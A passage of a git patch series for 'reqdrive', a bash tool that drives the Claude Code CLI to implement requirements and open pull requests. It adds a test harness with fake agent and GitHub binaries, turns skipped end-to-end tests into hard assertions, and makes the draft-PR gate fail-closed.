>> "$1/tests/simple-test.sh" <<'EOF' diff --git a/tests/oracle-gate.sh b/tests/oracle-gate.sh index c357b1d..46e5102 100644 --- a/tests/oracle-gate.sh +++ b/tests/oracle-gate.sh @@ -83,6 +83,18 @@ fi # ran.txt is built by pure bash string parsing and never carries \r, so # without stripping here, comm below would see zero overlap between the # two files on those platforms and misfire R1+R6 on every locked test. +# +# Why isn't the same tr needed on the single-value jq calls below (e.g. +# `locked_suite=$(jq -r .suiteSha256 "$LOCK")`)? Those go through $(...) +# command substitution, and bash's command substitution strips trailing +# newline(s) off the captured output wholesale — verified: on this affected +# jq build, `$(jq -r .foo file)` for a one-line "val\r\n" result comes back +# as plain "val", no \r. That stripping only ever removes a *trailing* +# run at the very end of the output, which is exactly where a single-value +# result's \r lives. Multi-line output has no such luck: every line except +# the last carries its \r in the *middle* of the stream once fed through a +# pipe (`jq ... | tr ... | sort`), and a pipe does no newline stripping at +# all — hence the explicit `tr -d '\r'` here. jq -r '.tests[].name' "$LOCK" | tr -d '\r' | sort > "$WORK/locked.txt" LOCK_COUNT=$(jq '.tests | length' "$LOCK") RAN_COUNT=$(wc -l < "$WORK/ran.txt" | tr -d ' ') diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index ac115f0..0b17cb7 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -5,7 +5,7 @@ "claude": true }, "suiteSha256": "95331fe120a3131c0a3d061db2cb2c9ad24f31048354afb85bd00255b4e81a07", - "gateSha256": "3b72427ed35ac74de23b0f8e7a2c3ba89970b0840fe7c0d006917eb6779343c2", + "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { "name": "checkpoint: load returns empty for mismatched req_id", From aa25a5bc6c102b683394a037bfc5568de9e22ab0 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 15:32:42 -0600 Subject: [PATCH 20/47] test: add pipeline harness driving run_pipeline end to end Nothing invoked run_pipeline before this. Three fidelity traps are handled explicitly: ph_run sets pipefail (lib/run.sh sets bare set -e, but agent failure is detected through a claude|tee pipeline), it captures run_pipeline's exit rather than its return, and README now documents the undocumented timeout dependency. ph_setup also wires a real local bare "origin" remote, since create_pr's unconditional `git push -u origin` would otherwise fail before gh pr create is ever invoked, short-circuiting the very path this test exists to exercise. --- .github/workflows/ci.yml | 2 +- README.md | 1 + tests/BEHAVIOR-SPEC.md | 11 +++ tests/lib/pipeline-harness.sh | 140 ++++++++++++++++++++++++++++++++++ tests/oracle.lock.json | 6 +- tests/simple-test.sh | 16 ++++ 6 files changed, 174 insertions(+), 2 deletions(-) create mode 100644 tests/lib/pipeline-harness.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1d7286f..0588967 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: run: shellcheck install.sh - name: Lint test scripts - run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh tests/gate-selftest.sh + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh tests/gate-selftest.sh tests/lib/pipeline-harness.sh syntax-check: name: Bash syntax check diff --git a/README.md b/README.md index 7de4fc5..6ddd738 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ Uses a two-phase architecture: planning (PRD generation) followed by determinist - `git` - `gh` (GitHub CLI, authenticated) - `claude` (Claude Code CLI — only needed for `run`/`launch` commands) +- `timeout` and `sha256sum` (GNU coreutils — present by default on Linux, macOS via `brew install coreutils`, and in Git-Bash/MSYS2) **Windows Users:** reqdrive requires a Bash environment. Use Git Bash or WSL2. diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 0c73361..052d405 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1154,3 +1154,14 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a test runner, **When** `mktemp -d` fails and the suite is invoked, **Then** it prints `FATAL: mktemp failed` and exits non-zero before any assertion runs, so no assertion can operate on an empty `TEST_TEMP`. + +--- + +## Module 12: pipeline harness + +### US-PIPE-01: A scripted run drives run_pipeline through to PR creation +**Test:** `pipeline: scripted run reaches PR creation` + +**As** a test author, +**When** I use `tests/lib/pipeline-harness.sh` to scaffold a scratch git repo, install a fake `claude` (mode `full`) and a fake `gh`, and call `ph_run REQ-01`, +**Then** `run_pipeline` completes with exit code 0 and the fake `gh` log records a `pr create` invocation, proving the pipeline actually reached PR creation rather than stopping earlier. diff --git a/tests/lib/pipeline-harness.sh b/tests/lib/pipeline-harness.sh new file mode 100644 index 0000000..2027517 --- /dev/null +++ b/tests/lib/pipeline-harness.sh @@ -0,0 +1,140 @@ +#!/usr/bin/env bash +# Drive lib/run.sh's run_pipeline against fake claude/gh binaries in a +# scratch git repo. Sourced by tests/simple-test.sh. +# shellcheck disable=SC1091,SC2317 +# SC1091: dynamic source paths ($REQDRIVE_ROOT/lib/*.sh) +# SC2317: fake-binary heredoc bodies look unreachable to shellcheck + +ph_setup() { + PH_ROOT="$1" + PH_BIN="$PH_ROOT/bin" + mkdir -p "$PH_ROOT/docs/requirements" "$PH_BIN" + + git -C "$PH_ROOT" init -q + git -C "$PH_ROOT" config user.email "test@example.com" + git -C "$PH_ROOT" config user.name "Test" + git -C "$PH_ROOT" checkout -q -b main + + cat > "$PH_ROOT/reqdrive.json" <<'EOF' +{ + "version": "0.3.0", + "requirementsDir": "docs/requirements", + "testCommand": "", + "maxIterations": 3, + "baseBranch": "main" +} +EOF + + cat > "$PH_ROOT/docs/requirements/REQ-01-demo.md" <<'EOF' +# REQ-01: Demo requirement + +Add a marker file. + +## Acceptance Criteria +- A file named MARKER.txt exists +EOF + + git -C "$PH_ROOT" add -A + git -C "$PH_ROOT" commit -q -m "chore: scaffold" + + # run_pipeline's create_pr pushes to "origin" unconditionally; give it a + # real (bare, local) remote so the push — and therefore the gh pr create + # call the test asserts on — is actually reached. + local remote_dir="$PH_ROOT/../ph-origin.git" + git init -q --bare "$remote_dir" + git -C "$PH_ROOT" remote add origin "$remote_dir" + + export PH_ROOT PH_BIN +} + +# ph_fake_claude full|noprd|nopasses +ph_fake_claude() { + local mode="$1" + cat > "$PH_BIN/claude" < /dev/null # consume the prompt +mode="$mode" +run_dir="\$(ls -d "$PH_ROOT"/.reqdrive/runs/* 2>/dev/null | head -1)" +[ -n "\$run_dir" ] || { echo "no run dir"; exit 0; } +prd="\$run_dir/prd.json" + +if [ ! -f "\$prd" ] && [ "\$mode" != "noprd" ]; then + if [ "\$mode" = "nopasses" ]; then + cat > "\$prd" <<'JEOF' +{"version":"0.3.0","project":"demo","sourceReq":"REQ-01", + "userStories":[ + {"id":"US-001","title":"First","description":"d","acceptanceCriteria":["a"],"priority":1}, + {"id":"US-002","title":"Second","description":"d","acceptanceCriteria":["a"],"priority":2}]} +JEOF + else + cat > "\$prd" <<'JEOF' +{"version":"0.3.0","project":"demo","sourceReq":"REQ-01", + "userStories":[ + {"id":"US-001","title":"First","description":"d","acceptanceCriteria":["a"],"priority":1,"passes":false}, + {"id":"US-002","title":"Second","description":"d","acceptanceCriteria":["a"],"priority":2,"passes":false}]} +JEOF + fi + echo "Planning complete." + exit 0 +fi + +# Implementation turn: mark the highest-priority incomplete story done. +if [ -f "\$prd" ] && [ "\$mode" = "full" ]; then + next=\$(jq -r '[.userStories[] | select(.passes == false)] | sort_by(.priority) | .[0].id // empty' "\$prd") + if [ -n "\$next" ]; then + jq --arg id "\$next" '(.userStories[] | select(.id == \$id)).passes = true' "\$prd" > "\$prd.t" && mv "\$prd.t" "\$prd" + echo "impl \$next" >> "$PH_ROOT/MARKER.txt" + git -C "$PH_ROOT" add -A + git -C "$PH_ROOT" commit -q -m "feat: [\$next] - work" + echo '\`\`\`json:iteration-summary' + echo "{\"storyId\":\"\$next\",\"action\":\"implemented\",\"filesChanged\":[\"MARKER.txt\"],\"testsRun\":true,\"testsPassed\":true,\"committed\":true,\"notes\":\"ok\"}" + echo '\`\`\`' + remaining=\$(jq '[.userStories[] | select(.passes == false)] | length' "\$prd") + [ "\$remaining" -eq 0 ] && echo "COMPLETE" + exit 0 + fi +fi +echo "nothing to do" +exit 0 +PHEOF + chmod +x "$PH_BIN/claude" +} + +ph_fake_gh() { + cat > "$PH_BIN/gh" <> "$PH_ROOT/gh-args.log" +case "\$1 \$2" in + "pr create") echo "https://github.com/test/repo/pull/1" ;; + *) : ;; +esac +exit 0 +PHEOF + chmod +x "$PH_BIN/gh" +} + +# ph_run — returns run_pipeline's exit code +ph_run() { + local req="$1" + ( + set -euo pipefail + export PATH="$PH_BIN:$PATH" + export REQDRIVE_ROOT="$REQDRIVE_ROOT" + export REQDRIVE_INTERACTIVE=false + export REQDRIVE_UNSAFE=true + cd "$PH_ROOT" + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/config.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" + reqdrive_load_config + run_pipeline "$req" + ) >"$PH_ROOT/run.log" 2>&1 + echo $? +} + +ph_gh_args() { cat "$PH_ROOT/gh-args.log" 2>/dev/null || true; } diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 0b17cb7..8f84330 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "95331fe120a3131c0a3d061db2cb2c9ad24f31048354afb85bd00255b4e81a07", + "suiteSha256": "9ab6c7c07349e0be88cae46c8ee98b7e5606ce48d33e184d3038665692915be8", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -233,6 +233,10 @@ "name": "load_config: uses defaults for missing fields", "story": "US-CFG-05" }, + { + "name": "pipeline: scripted run reaches PR creation", + "story": "US-PIPE-01" + }, { "name": "pr: body includes verification section from summary", "story": "US-PR-04" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index e10d5a8..58b1d6b 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2473,6 +2473,22 @@ EOF ) test_result "review: update_pr_with_review formats findings correctly" $? +echo "" +echo "--- Pipeline Harness ---" + +# Test: a scripted run reaches PR creation +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/ph-e2e" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "0" ] + ph_gh_args | grep -q "pr create" +) +test_result "pipeline: scripted run reaches PR creation" $? + echo "" echo "--- Harness Safety ---" From c8722b08a7791aabde3f0e0d7c2b808b79af8282 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 15:46:20 -0600 Subject: [PATCH 21/47] fix(tests): namespace the harness origin remote per PH_ROOT MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The bare-repo origin was $PH_ROOT/../ph-origin.git — a shared sibling across every ph_setup call under the same TEST_TEMP. Because ph_setup hard-codes REQ-01 (branch reqdrive/req-01), a second invocation in one suite run pushed the same branch to the same shared repo and was rejected, so the pipeline never reached gh pr create and the fake-gh log came back empty. Task 17 adds four ph_setup/ph_run pairs to one file and would have hit this immediately, making every --draft grep a false negative unrelated to the draft logic under test. Namespaced to ${PH_ROOT}-origin.git so each case gets its own remote. Verified: two ph_setup/ph_run pairs in one process both reach pr create. --- tests/lib/pipeline-harness.sh | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tests/lib/pipeline-harness.sh b/tests/lib/pipeline-harness.sh index 2027517..3de0bfa 100644 --- a/tests/lib/pipeline-harness.sh +++ b/tests/lib/pipeline-harness.sh @@ -39,8 +39,11 @@ EOF # run_pipeline's create_pr pushes to "origin" unconditionally; give it a # real (bare, local) remote so the push — and therefore the gh pr create - # call the test asserts on — is actually reached. - local remote_dir="$PH_ROOT/../ph-origin.git" + # call the test asserts on — is actually reached. The remote path is + # namespaced by the full PH_ROOT (not a shared sibling), so multiple + # ph_setup calls in one suite run each get their own remote and the + # hard-coded REQ-01 branch never collides across cases. + local remote_dir="${PH_ROOT}-origin.git" git init -q --bare "$remote_dir" git -C "$PH_ROOT" remote add origin "$remote_dir" From 545c6137e426cbd2cd4361ad80d72d801bb27d22 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 15:58:53 -0600 Subject: [PATCH 22/47] test: convert the six e2e skip hatches to hard assertions Gutting build_implementation_prompt used to produce 'ok ... # skip' and a green bats run, so the three e2e tests named as the safety net for the P6 heredoc rewrite could not fail. The deterministic fake agent removes the reason the hatches existed. --- tests/e2e/pipeline.bats | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/tests/e2e/pipeline.bats b/tests/e2e/pipeline.bats index 891dc96..235a54c 100644 --- a/tests/e2e/pipeline.bats +++ b/tests/e2e/pipeline.bats @@ -143,7 +143,7 @@ MOCKEOF timeout 30 bash "$REQDRIVE_ROOT/bin/reqdrive" run REQ-01 2>&1 || true # Check branch was created - git branch | grep -q "reqdrive/req-01" || skip "Branch creation requires clean git state" + git branch | grep -q "reqdrive/req-01" } # ============================================================================ @@ -220,7 +220,7 @@ MOCKEOF timeout 30 bash "$REQDRIVE_ROOT/bin/reqdrive" run REQ-01 2>&1 || true # Check prompt contains the requirement (planning prompt) - grep -q "XYZ123" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" || skip "Prompt not created yet" + grep -q "XYZ123" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" } @test "E2E: planning prompt contains planning instructions" { @@ -250,7 +250,7 @@ MOCKEOF # The initial prompt should be a planning prompt (since no PRD existed) # Check for planning-phase language in the iteration log - [[ -f "$TEST_TEMP_DIR/.reqdrive/runs/req-01/iteration-plan-1.log" ]] || skip "Planning log not created" + [[ -f "$TEST_TEMP_DIR/.reqdrive/runs/req-01/iteration-plan-1.log" ]] } # ============================================================================ @@ -298,8 +298,8 @@ EOF timeout 30 bash "$REQDRIVE_ROOT/bin/reqdrive" run REQ-01 2>&1 || true # The prompt should contain the story ID (deterministically selected US-001) - grep -q "US-001" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" || skip "Prompt not created" - grep -q "First story" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" || skip "Story title not in prompt" + grep -q "US-001" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" + grep -q "First story" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" } # ============================================================================ @@ -335,6 +335,6 @@ EOF timeout 30 bash "$REQDRIVE_ROOT/bin/reqdrive" run REQ-01 2>&1 || true # Check model was used - grep -q "claude-opus-4-5-20251101" /tmp/claude-args.log 2>/dev/null || skip "Claude args not captured" + grep -q "claude-opus-4-5-20251101" /tmp/claude-args.log rm -f /tmp/claude-args.log } From a9f85af145479b5332a375e8350a746dc2341163 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 16:03:41 -0600 Subject: [PATCH 23/47] ci: fail the build on any e2e skip 'bats green' meant nothing while six tests could skip themselves. --- .github/workflows/ci.yml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0588967..0a45d07 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -68,6 +68,12 @@ jobs: - name: Run E2E tests run: bats --formatter tap tests/e2e/ + - name: Fail on any e2e skip + run: | + skips=$(bats --formatter tap tests/e2e | grep -c '# skip' || true) + echo "e2e skips: $skips" + [ "$skips" -eq 0 ] + oracle-gate: name: Freeze gate runs-on: ubuntu-latest From 2362488085f1142507d3402153df534fdffe5a1e Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 16:52:36 -0600 Subject: [PATCH 24/47] fix: invert the draft-PR gate to fail-closed (P4: Tasks 17+18) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The gate cleared --draft on three separate no-evidence paths: null verification (no testCommand configured, only the literal string "false" was checked), a missing prd.json left holding the "?" sentinel, and stories omitting the optional 'passes' field, which select(.passes == false) never matched (null != false). Enumerating those negatives was a losing game, so the PR is now a draft unless the PRD exists, zero stories remain, and verification positively passed (verification_passed == "true"). final_remaining is now an integer (0 by default) and prd_present (0|1) replaces the "?" sentinel as the source of truth for whether a PRD was ever produced. Story counting switched from select(.passes == false) to select(.passes != true) so a story missing the field counts as incomplete rather than complete. verification-summary.json keeps emitting remaining: null when no PRD exists, and gains prd_present so the two cases stay distinguishable. Also removed the Phase 1 hard-abort when the agent never produces a PRD after its planning retries. That path previously called exit EXIT_AGENT_ERROR before Phase 2/3 ever ran, so a run with no PRD produced no PR at all rather than the draft PR the new gate is meant to guarantee for human review. Phase 2 and Phase 3 already tolerate a missing prd.json gracefully (select_next_story returns empty, prd_present stays 0), so this now falls through to a draft PR instead of a silent, evidence-free failure. Adds four red-first tests under "Draft Gate" proving all three fail-opens plus a positive control that a run with full evidence (PRD complete, testCommand passing) still produces a non-draft PR — confirming the fix doesn't just force --draft unconditionally. New BEHAVIOR-SPEC stories US-DRAFT-01..04 keep spec-map total at 163/163; oracle.lock.json re-accepted at 163 tests. --- lib/run.sh | 51 ++++++++++++++++++++------------------ tests/BEHAVIOR-SPEC.md | 30 ++++++++++++++++++++++ tests/oracle.lock.json | 18 +++++++++++++- tests/simple-test.sh | 56 ++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 130 insertions(+), 25 deletions(-) diff --git a/lib/run.sh b/lib/run.sh index c501fcc..2639188 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -949,14 +949,12 @@ EOF if [ ! -f "$prd_file" ]; then log_error "Agent failed to create PRD after $plan_max attempts" - write_run_status "$agent_dir" "failed" "$req_id" "0" "$EXIT_AGENT_ERROR" - run_completion_hook "$req_id" "failed" "" "$branch" "$EXIT_AGENT_ERROR" - exit "$EXIT_AGENT_ERROR" - fi - - # Final validation (warn only, don't block) - if ! validate_prd_schema "$prd_file" 2>/dev/null; then - log_warn "PRD has schema issues but proceeding with implementation" + log_warn "Proceeding without a PRD — the draft-PR gate will require review" + else + # Final validation (warn only, don't block) + if ! validate_prd_schema "$prd_file" 2>/dev/null; then + log_warn "PRD has schema issues but proceeding with implementation" + fi fi else log_info "PRD exists, skipping planning phase" @@ -1074,20 +1072,22 @@ EOF log_info "═══════════════════════════════════════════════════════" # Collect story stats from prd.json - local final_remaining="?" + local final_remaining=0 + local prd_present=0 local stories_total=0 local stories_completed=0 local stories_failed=0 if [ -f "$prd_file" ]; then + prd_present=1 stories_total=$(jq '.userStories | length' "$prd_file" 2>/dev/null || echo "0") stories_completed=$(jq '[.userStories[] | select(.passes == true)] | length' "$prd_file" 2>/dev/null || echo "0") - final_remaining=$(jq '[.userStories[] | select(.passes == false)] | length' "$prd_file" 2>/dev/null || echo "?") + final_remaining=$(jq '[.userStories[] | select(.passes != true)] | length' "$prd_file" 2>/dev/null || echo "0") # Stories that exhausted their retry limit local max_story_retries_check="${REQDRIVE_MAX_STORY_RETRIES:-3}" stories_failed=$(jq --argjson max "$max_story_retries_check" \ - '[.userStories[] | select(.passes == false and ((.attempts // 0) >= $max))] | length' \ + '[.userStories[] | select(.passes != true and ((.attempts // 0) >= $max))] | length' \ "$prd_file" 2>/dev/null || echo "0") fi @@ -1129,8 +1129,9 @@ EOF "total": $stories_total, "completed": $stories_completed, "failed": $stories_failed, - "remaining": $([ "$final_remaining" = "?" ] && echo "null" || echo "$final_remaining") + "remaining": $([ "$prd_present" -eq 1 ] && echo "$final_remaining" || echo "null") }, + "prd_present": $([ "$prd_present" -eq 1 ] && echo "true" || echo "false"), "iterations": { "run": $RUN_SUMMARY_ITERATIONS, "max": $max_iterations @@ -1150,12 +1151,6 @@ VEOF log_info "Verification summary written to verification-summary.json" - # Decide PR draft status based on verification results - if [ "$final_remaining" != "0" ] && [ "$final_remaining" != "?" ]; then - log_warn "Agent did not complete all stories ($final_remaining remaining)" - log_warn "Creating draft PR for review" - fi - # ── Create PR ── log_info "" log_info "═══════════════════════════════════════════════════════" @@ -1164,12 +1159,20 @@ VEOF source "$REQDRIVE_ROOT/lib/pr-create.sh" - local draft_flag="" - if [ "$final_remaining" != "0" ] && [ "$final_remaining" != "?" ]; then - draft_flag="--draft" - elif [ "$verification_passed" = "false" ]; then - log_warn "Final verification failed — creating draft PR" - draft_flag="--draft" + # Fail-closed: draft unless every piece of positive evidence is present. + local draft_flag="--draft" + if [ "$prd_present" -eq 1 ] && [ "$final_remaining" -eq 0 ] && [ "$verification_passed" = "true" ]; then + draft_flag="" + else + if [ "$prd_present" -ne 1 ]; then + log_warn "No prd.json — creating draft PR" + elif [ "$final_remaining" -ne 0 ]; then + log_warn "$final_remaining stories incomplete — creating draft PR" + elif [ "$verification_passed" = "null" ]; then + log_warn "No testCommand configured, so nothing verified the output — creating draft PR" + else + log_warn "Final verification failed — creating draft PR" + fi fi local pr_url="" diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 052d405..6f3e089 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1165,3 +1165,33 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a test author, **When** I use `tests/lib/pipeline-harness.sh` to scaffold a scratch git repo, install a fake `claude` (mode `full`) and a fake `gh`, and call `ph_run REQ-01`, **Then** `run_pipeline` completes with exit code 0 and the fake `gh` log records a `pr create` invocation, proving the pipeline actually reached PR creation rather than stopping earlier. + +## Module 13: draft gate + +### US-DRAFT-01: No testCommand means no evidence, so the PR is a draft +**Test:** `draft gate: no testCommand forces draft` + +**As** a maintainer relying on the draft-PR gate as a safety net, +**When** a run completes with `testCommand` unset (so `verification_passed` is `null`, not the literal string `"false"`), +**Then** the gate does not treat `null` as passing evidence — `gh pr create` is invoked with `--draft`. + +### US-DRAFT-02: A missing prd.json means no plan, so the PR is a draft +**Test:** `draft gate: missing prd.json forces draft` + +**As** a maintainer relying on the draft-PR gate as a safety net, +**When** the agent never produces `prd.json` (planning exhausts its retries with no PRD on disk), the pipeline no longer hard-aborts with no PR at all — it proceeds to Phase 3 with `prd_present=0` so the failure is surfaced for human review instead of silently vanishing, +**Then** `gh pr create` is invoked with `--draft`. + +### US-DRAFT-03: Stories omitting 'passes' are not complete, so the PR is a draft +**Test:** `draft gate: stories omitting passes force draft` + +**As** a maintainer relying on the draft-PR gate as a safety net, +**When** every story in `prd.json` omits the optional `passes` field, +**Then** counting `select(.passes != true)` (not `select(.passes == false)`) correctly treats every such story as incomplete, and `gh pr create` is invoked with `--draft`. + +### US-DRAFT-04: Full evidence produces a non-draft PR +**Test:** `draft gate: full evidence produces non-draft PR` + +**As** a maintainer relying on the draft-PR gate as a safety net, +**When** `prd.json` exists, every story has `passes: true`, and `testCommand` runs and passes (`verification_passed` is the literal string `"true"`), +**Then** `gh pr create` is invoked without `--draft` — proving the fix does not simply force every PR to draft unconditionally. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 8f84330..252f7d1 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "9ab6c7c07349e0be88cae46c8ee98b7e5606ce48d33e184d3038665692915be8", + "suiteSha256": "def006bb85cd42a680e5190f8a37b887222dd56ceacd4daf2b5830a26b162c53", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -85,6 +85,22 @@ "name": "cli: --version shows 0.3.0", "story": "US-CLI-01" }, + { + "name": "draft gate: full evidence produces non-draft PR", + "story": "US-DRAFT-04" + }, + { + "name": "draft gate: missing prd.json forces draft", + "story": "US-DRAFT-02" + }, + { + "name": "draft gate: no testCommand forces draft", + "story": "US-DRAFT-01" + }, + { + "name": "draft gate: stories omitting passes force draft", + "story": "US-DRAFT-03" + }, { "name": "errors: defines the base exit codes 0-8", "story": "US-ERR-01" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 58b1d6b..fc1a1a5 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2489,6 +2489,62 @@ echo "--- Pipeline Harness ---" ) test_result "pipeline: scripted run reaches PR creation" $? +echo "" +echo "--- Draft Gate ---" + +# Test: fail-open A — no testCommand means no evidence, so draft +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-a" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep -q "pr create" + ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: no testCommand forces draft" $? + +# Test: fail-open B — no prd.json means no plan, so draft +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-b" + ph_fake_claude noprd + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: missing prd.json forces draft" $? + +# Test: fail-open C — stories omitting 'passes' are not complete, so draft +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-c" + ph_fake_claude nopasses + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: stories omitting passes force draft" $? + +# Test: positive control — full evidence produces a non-draft PR +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-ok" + jq '.testCommand = "true"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.tmp" + mv "$PH_ROOT/r.tmp" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: enable testCommand" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep -q "pr create" + ! ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: full evidence produces non-draft PR" $? + echo "" echo "--- Harness Safety ---" From 551d454d1628ac946514c221ba38a5c3d007735c Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 17:29:02 -0600 Subject: [PATCH 25/47] fix: restore Phase 1 hard-abort on planning failure MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 2362488 inverted the draft-PR gate to fail-closed (correct, kept) but also removed Phase 1's abort when planning never produces a valid prd.json, letting the pipeline fall through to an empty draft PR instead. Restore the original abort: write_run_status "failed", run_completion_hook, exit EXIT_AGENT_ERROR. The prd_present=0 gate branch is now reachable only if an agent deletes prd.json mid-implementation (after planning succeeded) — recorded as F6 in tests/FINDINGS.md. Retarget "draft gate: missing prd.json forces draft" (US-DRAFT-02) to assert the restored abort directly: noprd mode now exits 5 with no "pr create" in the gh log, renamed to "draft gate: planning failure aborts with no PR". Re-locked via oracle-gate.sh --accept. --- lib/run.sh | 14 ++++++++------ tests/BEHAVIOR-SPEC.md | 10 +++++----- tests/FINDINGS.md | 1 + tests/oracle.lock.json | 10 +++++----- tests/simple-test.sh | 12 ++++++++---- 5 files changed, 27 insertions(+), 20 deletions(-) diff --git a/lib/run.sh b/lib/run.sh index 2639188..0f33414 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -949,12 +949,14 @@ EOF if [ ! -f "$prd_file" ]; then log_error "Agent failed to create PRD after $plan_max attempts" - log_warn "Proceeding without a PRD — the draft-PR gate will require review" - else - # Final validation (warn only, don't block) - if ! validate_prd_schema "$prd_file" 2>/dev/null; then - log_warn "PRD has schema issues but proceeding with implementation" - fi + write_run_status "$agent_dir" "failed" "$req_id" "0" "$EXIT_AGENT_ERROR" + run_completion_hook "$req_id" "failed" "" "$branch" "$EXIT_AGENT_ERROR" + exit "$EXIT_AGENT_ERROR" + fi + + # Final validation (warn only, don't block) + if ! validate_prd_schema "$prd_file" 2>/dev/null; then + log_warn "PRD has schema issues but proceeding with implementation" fi else log_info "PRD exists, skipping planning phase" diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 6f3e089..0da1c26 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1175,12 +1175,12 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** a run completes with `testCommand` unset (so `verification_passed` is `null`, not the literal string `"false"`), **Then** the gate does not treat `null` as passing evidence — `gh pr create` is invoked with `--draft`. -### US-DRAFT-02: A missing prd.json means no plan, so the PR is a draft -**Test:** `draft gate: missing prd.json forces draft` +### US-DRAFT-02: A missing prd.json means planning failed, so the pipeline aborts with no PR +**Test:** `draft gate: planning failure aborts with no PR` -**As** a maintainer relying on the draft-PR gate as a safety net, -**When** the agent never produces `prd.json` (planning exhausts its retries with no PRD on disk), the pipeline no longer hard-aborts with no PR at all — it proceeds to Phase 3 with `prd_present=0` so the failure is surfaced for human review instead of silently vanishing, -**Then** `gh pr create` is invoked with `--draft`. +**As** a maintainer relying on the pipeline's fail-safes, +**When** the agent never produces `prd.json` (planning exhausts its retries with no PRD on disk), +**Then** the pipeline hard-aborts with `EXIT_AGENT_ERROR` 